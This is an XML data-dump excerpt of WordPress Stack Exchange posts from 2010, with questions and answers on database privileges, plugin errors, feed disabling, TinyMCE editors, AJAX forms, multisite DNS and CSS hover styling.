  <row Id="1679" PostTypeId="1" AcceptedAnswerId="1681" CreationDate="2010-09-12T03:18:06.283" Score="2" ViewCount="106" Body="&lt;p&gt;i am wanting to create a new databse user for my wordpress install. usually on localhost, i can just use root. but its good practice to use a user with as little rights as possible right? what are those rights? i am thinking if wordpress need to install plugins etc. it may require CREATE &amp;amp; DROP too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XB7wW.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-14T19:57:24.527" LastActivityDate="2011-02-14T19:57:24.527" Title="What specific database privileges does WordPress need?" Tags="&lt;mysql&gt;&lt;installation&gt;&lt;privileges&gt;&lt;phpmyadmin&gt;&lt;structure&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1680" PostTypeId="1" AcceptedAnswerId="3682" CreationDate="2010-09-12T03:26:26.703" Score="0" ViewCount="210" Body="&lt;p&gt;i am trying to install plugin &lt;a href=&quot;http://tumblrize.ijulien.com/&quot; rel=&quot;nofollow&quot;&gt;tumblrize&lt;/a&gt; and got the error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected&#xA;  T_STRING, expecting T_FUNCTION in&#xA;  D:\Projects\Websites\jiewmeng\wp-content\plugins\tumblrize\tumblrize.php&#xA;  on line 636 Call Stack: 0.0005 332520&#xA;  1. {main}() D:\Projects\Websites\jiewmeng\wp-admin\plugins.php:0&#xA;  0.2249 3035904 2. plugin_sandbox_scrape()&#xA;  D:\Projects\Websites\jiewmeng\wp-admin\plugins.php:160&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;on line 636 is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook(__FILE__, 'tumblrize_activate');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i dont see anything wrong with that, just learnt to develop plugins and that line looks ok? there is the function on line 611&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tumblrize_activate () { ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i am using wordpress 3.0.1 + PHP 5.3.2 btw&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-14T19:44:58.020" LastActivityDate="2011-02-14T19:44:58.020" Title="Problem installing plugin: unexpected T_STRING, expecting T_FUNCTION" Tags="&lt;plugins&gt;&lt;installation&gt;&lt;debug&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1681" PostTypeId="2" ParentId="1679" CreationDate="2010-09-12T04:37:49.333" Score="1" ViewCount="" Body="&lt;p&gt;If your database is set up to deny remote connections (i.e. only applications on the same server can interact with the database) then there's no danger in giving your WordPress user full access.  As a matter of fact, most automated installation scripts used by web hosts grant full access to their WordPress user by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that your database &quot;user&quot; is not actually a site user ... and unless you're manually administering your database via phpMyAdmin, the login credentials will never be used by anything but WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there's no guarantee that future versions of WordPress won't need the features you're disabling.  If you use your WordPress user to manually administer the database, you might need these features as well.  My recommendation would be to grant full access to your WordPress user, but use a highly complex password for the user.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-12T04:37:49.333" />
  <row Id="1682" PostTypeId="2" ParentId="70" CreationDate="2010-09-12T05:19:15.273" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.dynamicwp.net/plugins/free-plugin-dynamicwp-contact-form/&quot; rel=&quot;nofollow&quot;&gt;dynamicwp-contact-form&lt;/a&gt; comes with floating button on the webpage .&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-09-12T05:19:15.273" />
  <row Id="1683" PostTypeId="2" ParentId="1132" CreationDate="2010-09-12T05:44:19.323" Score="3" ViewCount="" Body="&lt;p&gt;Please read the topic &lt;a href=&quot;http://pwnwear.com/forum/forum-integration-with-wordpress-t554.html&quot; rel=&quot;nofollow&quot;&gt; forum integration with wordpress&lt;/a&gt; .You can get some Idea on Integrating different CMSs and forum softwares with Wordpress for this functionality . I think this forum post helps you to decide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; :&lt;em&gt;Another article&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.seanbluestone.com/how-to-integrate-wordpress-with-forums-ipb-smf-vbulletin-phpbb-vanilla&quot; rel=&quot;nofollow&quot;&gt;How to Integrate WordPress with Forums: IPB, SMF, vBulletin, phpBB &amp;amp; Vanilla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2011-07-08T09:35:39.603" LastActivityDate="2011-07-08T09:35:39.603" CommentCount="4" />
  <row Id="1684" PostTypeId="1" AcceptedAnswerId="2586" CreationDate="2010-09-12T05:52:53.350" Score="5" ViewCount="544" Body="&lt;p&gt;What is the use of map_meta_cap filter? This filter is not documented anywhere. I have an unclear idea of what it could be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used to map the permissions of the user to operations on posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly is it meant for? If possible please give some sample code example of its right usage. &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-10-05T13:25:34.493" Title="What Is The Use Of map_meta_cap Filter?" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1685" PostTypeId="2" ParentId="1567" CreationDate="2010-09-12T07:24:32.017" Score="9" ViewCount="" Body="&lt;h2&gt;Function to Disable RSS Feeds&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable RSS feeds If you want to maintain your Wordpress based website as static.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can Use this function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_disable_feed() {&#xA;wp_die( __('No feed available,please visit our &amp;lt;a href=&quot;'. get_bloginfo('url') .'&quot;&amp;gt;homepage&amp;lt;/a&amp;gt;!') );&#xA;}&#xA;&#xA;add_action('do_feed', 'fb_disable_feed', 1);&#xA;add_action('do_feed_rdf', 'fb_disable_feed', 1);&#xA;add_action('do_feed_rss', 'fb_disable_feed', 1);&#xA;add_action('do_feed_rss2', 'fb_disable_feed', 1);&#xA;add_action('do_feed_atom', 'fb_disable_feed', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="402" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:33:58.707" LastActivityDate="2011-01-26T14:33:58.707" CommunityOwnedDate="2010-09-12T07:24:32.017" CommentCount="2" />
  <row Id="1686" PostTypeId="2" ParentId="1567" CreationDate="2010-09-12T07:32:19.050" Score="13" ViewCount="" Body="&lt;h2&gt;Function to change the length of Exerpt&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default all excerpts are capped at 55 words. Utilizing the code below you can override this default settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_excerpt_length($length) { &#xA;    return 100;&#xA;}&#xA;&#xA;add_filter('excerpt_length', 'new_excerpt_length');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example changes the excerpt length to 100 words, but you can use the same method to change it to any value.&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:37:14.710" LastActivityDate="2011-01-26T14:37:14.710" CommunityOwnedDate="2010-09-12T07:32:19.050" CommentCount="3" />
  <row Id="1687" PostTypeId="2" ParentId="1684" CreationDate="2010-09-12T08:11:09.290" Score="2" ViewCount="" Body="&lt;p&gt;This is filter of function &lt;code&gt;map_meta_cap()&lt;/code&gt;. From description this function seems to write out general capability (&lt;em&gt;can_do_stuff&lt;/em&gt;) passed into more specific (if post's author then &lt;em&gt;can_do_this_stuff&lt;/em&gt; and &lt;em&gt;can_do_that_stuff_also&lt;/em&gt;), checking various conditions if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it is not documented in Codex and I can't find a single direct call of this function in WP 3.0.1 source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you encountered usage of this function or want to use it for something? I assume since it doesn't seem to be used, there are probably newer and better ways for this functionality.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T08:11:09.290" CommentCount="1" />
  <row Id="1688" PostTypeId="2" ParentId="1266" CreationDate="2010-09-12T08:26:54.323" Score="1" ViewCount="" Body="&lt;p&gt;You did not specify if you want to build it using free solutions alone, or have budget for this. So this one is not free, but seems like a good fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theme that powers &lt;a href=&quot;http://wpvote.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress Vote&lt;/a&gt; (Digg-like site for content about WP) had been released for sale in more generic version as &lt;a href=&quot;http://prothemedesign.com/themes/nominate-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Nominate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS grabbing full images from third party site is a practice I'd stay away from. Copyright, licenses and such.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T08:26:54.323" />
  <row Id="1689" PostTypeId="2" ParentId="1675" CreationDate="2010-09-12T08:34:17.707" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem is that this only works when the widget is present in a sidebar.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you need some code to run independently from widget, I reason it makes sense to add that code separately from widget class.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And I also need it to work when I call this widget with the_widget() function, for eg. inside a page. I don't know how could I retrieve the widget options to pass them in the javascript code...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That function takes instance array with widget data. I am not sure about your specifics, but I thinks you can pass whatever you need in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directly called widget has no data, other than passed in instance (or retrieved by itself).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T08:34:17.707" />
  <row Id="1690" PostTypeId="2" ParentId="436" CreationDate="2010-09-12T08:47:15.747" Score="11" ViewCount="" Body="&lt;p&gt;First: &lt;strong&gt;Big Thanks&lt;/strong&gt; to &lt;em&gt;@Thomas McDonald&lt;/em&gt; for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/436/is-there-a-way-to-get-n-number-of-wysiwyg-editors-in-a-custom-post-type/439#439&quot;&gt;&lt;strong&gt;his answer&lt;/strong&gt;&lt;/a&gt;; I needed to figure out exactly the same question that &lt;em&gt;@Paul Sheldrake&lt;/em&gt; asked and Thomas' code got me started in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I then got stuck because &lt;strong&gt;I needed to change the layout from the default&lt;/strong&gt; to a simpler and smaller layout since I needed to use the TinyMCE in a side metabox. I looked &lt;em&gt;practically&lt;/em&gt; everywhere for a solution and especially on the MoxieCode &lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aIndex&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Wiki&lt;/a&gt; and &lt;a href=&quot;http://tinymce.moxiecode.com/punbb/viewforum.php?id=1&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Tips &amp;amp; How To Forum&lt;/a&gt; and found nothing! &lt;sup&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/436/is-there-a-way-to-get-n-number-of-wysiwyg-editors-in-a-custom-post-type/439#439&quot;&gt;1&lt;/a&gt;&lt;/strong&gt;&lt;/sup&gt; Everything I found explained how to set &lt;code&gt;theme&lt;/code&gt;, &lt;code&gt;width&lt;/code&gt;, &lt;code&gt;height&lt;/code&gt;, etc. using &lt;code&gt;tinyMCE.init({...})&lt;/code&gt; but apparently you can't use that when you use &lt;code&gt;tinyMCE.execCommand(&quot;mceAddControl&quot;)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was about stumped when I ran across the article &lt;a href=&quot;http://hamisageek.blogspot.com/2007/11/multiple-tinymce-3-instances-on-one.html#comment-form&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;multiple TinyMCE 3 instances on one page&lt;/strong&gt;&lt;/a&gt; by &lt;a href=&quot;http://www.blogger.com/profile/10046970730389911333&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Hamilton Chua&lt;/em&gt;&lt;/a&gt;, and he nailed it! His solution was to assign &lt;code&gt;tinyMCE.settings&lt;/code&gt; before calling &lt;code&gt;tinyMCE.execCommand(&quot;mceAddControl&quot;)&lt;/code&gt;, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$id = &quot;sidebar-content&quot;;&#xA;$script = &amp;lt;&amp;lt;&amp;lt;EOT&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;    $(&quot;#{$id}&quot;).addClass(&quot;mceEditor&quot;);&#xA;    if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp;&#xA;         typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;      tinyMCE.settings = {&#xA;        theme : &quot;advanced&quot;,&#xA;        mode : &quot;none&quot;,&#xA;        language : &quot;en&quot;,&#xA;        height:&quot;200&quot;,&#xA;        width:&quot;100%&quot;,&#xA;        theme_advanced_layout_manager : &quot;SimpleLayout&quot;,&#xA;        theme_advanced_toolbar_location : &quot;top&quot;,&#xA;        theme_advanced_toolbar_align : &quot;left&quot;,&#xA;        theme_advanced_buttons1 : &quot;bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull&quot;,&#xA;        theme_advanced_buttons2 : &quot;&quot;,&#xA;        theme_advanced_buttons3 : &quot;&quot;&#xA;      };&#xA;      tinyMCE.execCommand(&quot;mceAddControl&quot;, true, &quot;{$id}&quot;);&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;textarea id=&quot;sidebar-content&quot; name=&quot;sidebar-content&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;EOT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sad part is this was really not hard, but it wasn't documented anywhere else I could find. It's amazing to discover almost nobody else has experienced this issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So anyway the above code generated the following second TinyMCE in exactly the format/layout that my client needed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100912-042637.png&quot; alt=&quot;Multiple TinyMCE TextAreas in the WordPress 3.0 Admin Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you are using &lt;em&gt;@Thomas McDonald&lt;/em&gt; code above you find you have any need to modify the layout be sure to check out Hamilton Chua's awesome article &lt;em&gt;(thanks Ham!)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hamisageek.blogspot.com/2007/11/multiple-tinymce-3-instances-on-one.html#comment-form&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Multiple TinyMCE 3 instances on one page&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;P.S.&lt;/em&gt;&lt;/strong&gt; If you do something even slightly wrong the TinyMCE may just not show at all. For example in my case I use &lt;code&gt;theme: &quot;simple&quot;&lt;/code&gt; at first and I got nothing and it took me over an hour to realize that I just needed to use &lt;code&gt;theme: &quot;advanced&quot;&lt;/code&gt;. So if you find TinyMCE is not working for you be sure to try changing things around, you may be having a similar problem. &lt;em&gt;(BTW, I haven't tried any other themes nor explored what else is available; if you find other themes that work do please let a comment below.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Footnote&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;: &lt;em&gt;Very frustrating! After little more than a month with WordPress Answer I'm now expecting to find answers to all my questions as the same level of quality as here, and elsewhere I'm typically finding disappointment!&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-13T10:15:33.263" LastActivityDate="2010-11-13T10:15:33.263" CommentCount="5" />
  <row Id="1691" PostTypeId="1" CreationDate="2010-09-12T09:13:04.687" Score="2" ViewCount="197" Body="&lt;p&gt;I just configured yet-another-multi-site-manager and I can able to use internal sub-domains like &lt;strong&gt;1.domain.com and 2.domain.com&lt;/strong&gt; as alternate domains .I can able to create sub-sites on those domains successfully like &lt;strong&gt;try.1.domain.com&lt;/strong&gt;  .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Unfortunately when I set external domain(Primary domain Registered some where else) the sub-site's URL showing error page..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;strong&gt;3.domain.com&lt;/strong&gt; is addon domain pointing to my multi-site installation folder .A sub-site created under it is &lt;strong&gt;try.3.domain.com&lt;/strong&gt; .This sub-site's URL showing error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I am pointing that external domain pointing to Numeric IP(My hosting is shared hosting) address of my multisite domain.Later adding that domain as an addon pointing to my Multisite installation folder .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one have Idea on this?I think that I have wrongly configured the DNS of Addon domain .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Now I am able to create sub-sites using the additional domains .But the problem is when logging into the sub-sites created on these domains .The login pages are again redirecting to login form and the loop continues .I am even unable to edit the sites using the option &quot;Backend&quot; on admin panel .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&#xA;The code inside the yamm-signup.php page and yet-another-multi-site-manager.php  are not updated as per the updated new version 3.1 .The plugin is prepared for wpmu not updated for a long while .&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2010-09-30T15:21:28.930" LastActivityDate="2011-01-11T08:31:02.077" Title="How to configure DNS If I use the plugin yet-another-multi-site-manager?" Tags="&lt;multisite&gt;&lt;domain&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="1692" PostTypeId="2" ParentId="1352" CreationDate="2010-09-12T09:39:25.540" Score="1" ViewCount="" Body="&lt;p&gt;This question was more extensively discussed at Hybrid support forum. I made and posted snippet for &lt;a href=&quot;http://themehybrid.com/support/topic/hard-coding-the-nextpage-tag-into-my-theme#post-46016&quot; rel=&quot;nofollow&quot;&gt;custom pagination of custom fields content&lt;/a&gt; there.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T09:39:25.540" CommentCount="1" />
  <row Id="1693" PostTypeId="1" CreationDate="2010-09-12T10:08:34.363" Score="0" ViewCount="191" Body="&lt;p&gt;&lt;p&gt;I'm attempting add some ajax to an existing script, all goes well for the first submit, but subsequent ones  are not working as expected.&lt;br&gt;&#xA;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;add_action('wp_head', 'my_special_action_javascript');&#xA;add_action('wp_ajax_my_special_action', 'my_special_action_callback');&#xA;add_action('wp_ajax_nopriv_my_special_action', 'my_special_action_callback');&#xA;add_action('wp_ajax_my_cart', 'my_cart_callback');&#xA;add_action('wp_ajax_nopriv_my_cart', 'my_cart_callback');&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and prior to those I also have a &lt;code&gt;wp_enqueue_script('jquery');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_special_action_javascript() {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;jQuery(document).ready(function() {&#xA; jQuery(&quot;.addtocart&quot;).submit(function() {&#xA;  var data = {action: 'my_special_action',post:jQuery(this).serialize() };&#xA;  jQuery.post(&quot;&amp;lt;?php echo admin_url('admin-ajax.php'); ?&amp;gt;&quot;, data,&#xA;  function(response){&#xA;   jQuery(&quot;.eshopajax&quot;).replaceWith(response);&#xA;  });&#xA;  function upCart(){&#xA;   var tdata = {action: 'my_cart'};&#xA;   jQuery.post(&quot;&amp;lt;?php echo admin_url('admin-ajax.php'); ?&amp;gt;&quot;, tdata,&#xA;   function(response){&#xA;    jQuery(&quot;.ajaxcart&quot;).replaceWith(response);&#xA;   });&#xA;  }&#xA;  setTimeout (upCart,500);&#xA;  return false;&#xA; });&#xA;});&#xA;//]]&amp;gt;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;br&gt;&#xA;.addtocart is the class of the form (and there are going to be occasions when there are multiple forms on a page.)&lt;br&gt;&#xA;.eshopax is a section within the form where I am displaying the response (though really I should add this via the script as well).&lt;br&gt;&#xA;.ajaxcart is the cart in the widgets which I am trying to auto update.&lt;br&gt;&#xA;setTimeout - added to slow things down for updating the cart, to allow the first process to finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as explained the above works as intended, &lt;strong&gt;once&lt;/strong&gt;. But when I submit the form again, even with different values the display is no longer changed, yet the cart is updated (upCart) and no response text is visibly added. Additionally it doesn't appear to recognise changed form details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I reset things for it to recognise possible new form details? Additionally I don't think the &lt;em&gt;jQuery.post&lt;/em&gt; in the upCart function is correct either (but it does work...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(originally asked over on the WordPress support forums).&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:22:17.113" LastActivityDate="2011-01-03T18:22:17.113" Title="jQuery forms &amp; updating info" Tags="&lt;jquery&gt;&lt;ajax&gt;&lt;forms&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1694" PostTypeId="2" ParentId="675" CreationDate="2010-09-12T12:40:42.643" Score="0" ViewCount="" Body="&lt;p&gt;First this is clearly not a bug. Feeds generated by WordPress are ordered by post publication date, which is both intended and makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second RSS clients uniquely identify items. In specific case of WP feeds unique identifier is &lt;code&gt;guid&lt;/code&gt; field with non-pretty (&lt;code&gt;?p=xxx&lt;/code&gt;) permalink. Even if post is changed and brought back into feed its identifier remains the same and it is treated as read by RSS client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice some clients will detect is as changed, some won't. In any case situation will be ambiguous and unreliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From usability point of view previously read items re-appearing in feed can be annoying to readers (for me personally it's annoying like hell).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up what you want is not impossible but (in my opinion) goes against both WordPress and RSS mechanics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given your conditions (and I assume considerable amount of such edits) I would suggest periodic digest posts with lists of updated entries. Can be generated manually or by code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T12:40:42.643" />
  <row Id="1695" PostTypeId="2" ParentId="1668" CreationDate="2010-09-12T12:53:58.023" Score="1" ViewCount="" Body="&lt;p&gt;I just tested it (briefly) on local test install and having static page at &lt;code&gt;/page/&lt;/code&gt; and pretty permalinks starting with &lt;code&gt;/page/&lt;/code&gt; doesn't seem to cause any issues.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T12:53:58.023" />
  <row Id="1696" PostTypeId="2" ParentId="1563" CreationDate="2010-09-12T12:57:57.000" Score="2" ViewCount="" Body="&lt;p&gt;Documentation for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_settings_field&quot; rel=&quot;nofollow&quot;&gt;add_settings_field()&lt;/a&gt; Says following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;You MUST register any options&lt;/strong&gt; used by this function with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_setting&quot; rel=&quot;nofollow&quot;&gt;register_setting()&lt;/a&gt; or they won't be saved and updated automatically.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T12:57:57.000" />
  <row Id="1697" PostTypeId="2" ParentId="1476" CreationDate="2010-09-12T13:13:53.967" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt; documentation formulates suggested usage as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;long/expensive database queries or complex processed data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your case seems like a perfect fit for this description. On technical side you will need to concatenate your output into variable and put into transient, instead of displaying it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-12T13:13:53.967" />
  <row Id="1698" PostTypeId="1" CreationDate="2010-09-12T13:14:30.503" Score="0" ViewCount="192" Body="&lt;p&gt;I want a border to appear when someone hovers over the submit button.  I cannot put 'on mouseover' in the submit button properties&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the form:&#xA;&lt;a href=&quot;http://www.fizzy.co.za/courses/building-an-internet-business/&quot; rel=&quot;nofollow&quot;&gt;http://www.fizzy.co.za/courses/building-an-internet-business/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using contact form 7 on wordpress 3.0.1&lt;/p&gt;&#xA;" LastActivityDate="2010-09-12T14:24:07.627" ClosedDate="2010-09-15T14:23:14.830" Title="How do I create a border on mouseover for the submit button using Contact form 7" Tags="&lt;css&gt;&lt;contact&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1699" PostTypeId="2" ParentId="1639" CreationDate="2010-09-12T13:34:14.603" Score="2" ViewCount="" Body="&lt;p&gt;There's also the fact that once you upgrade wordpress to the latest version all your changes to the core files are overwritten&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-12T13:34:14.603" CommunityOwnedDate="2010-09-12T13:34:14.603" />
  <row Id="1700" PostTypeId="1" CreationDate="2010-09-12T13:40:20.940" Score="1" ViewCount="431" Body="&lt;p&gt;Can anyone help me figure out both which plugin might be causing this error and how I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[4405235.617144] Out of memory: kill process 1450 (apache2) score 75568 or a child&lt;br&gt;&#xA;[4405235.617155] Killed process 1450 (apache2) vsz:302272kB, anon-rss:4304kB, file-rss:284kB  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the last one, but there are hundreds of errors like that before I rebooted...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running WP 3.0.1 on Rackspace Cloud&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure it has to be something that is either pushing or pulling an RSS feed, so here are the most-likely contenders&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AddToAny&#xA;FD Feedburner&#xA;Feedlist&#xA;FT Facepress II (which doesn't work anyway so I'll deactivate and save that for another question)&#xA;Intense Debate&#xA;Postalicious&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a way to figure it out without taking them all down one at a time, I'd appreciate the help.  I pull in content from my delicious and posterous feeds and push it out to RSS, so I'd lose a lot of functionality taking them down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-21T15:00:16.237" LastActivityDate="2011-06-12T17:37:43.530" Title="Out of memory errors - anon-rss or file-rss?" Tags="&lt;rss&gt;&lt;server&gt;&lt;memory&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="1701" PostTypeId="2" ParentId="1698" CreationDate="2010-09-12T14:24:07.627" Score="1" ViewCount="" Body="&lt;p&gt;You can use the CSS pseudo class :hover. For your form it would be.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wpcf7-submit:hover{border:1px solid #000;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-09-12T14:24:07.627" CommentCount="1" />
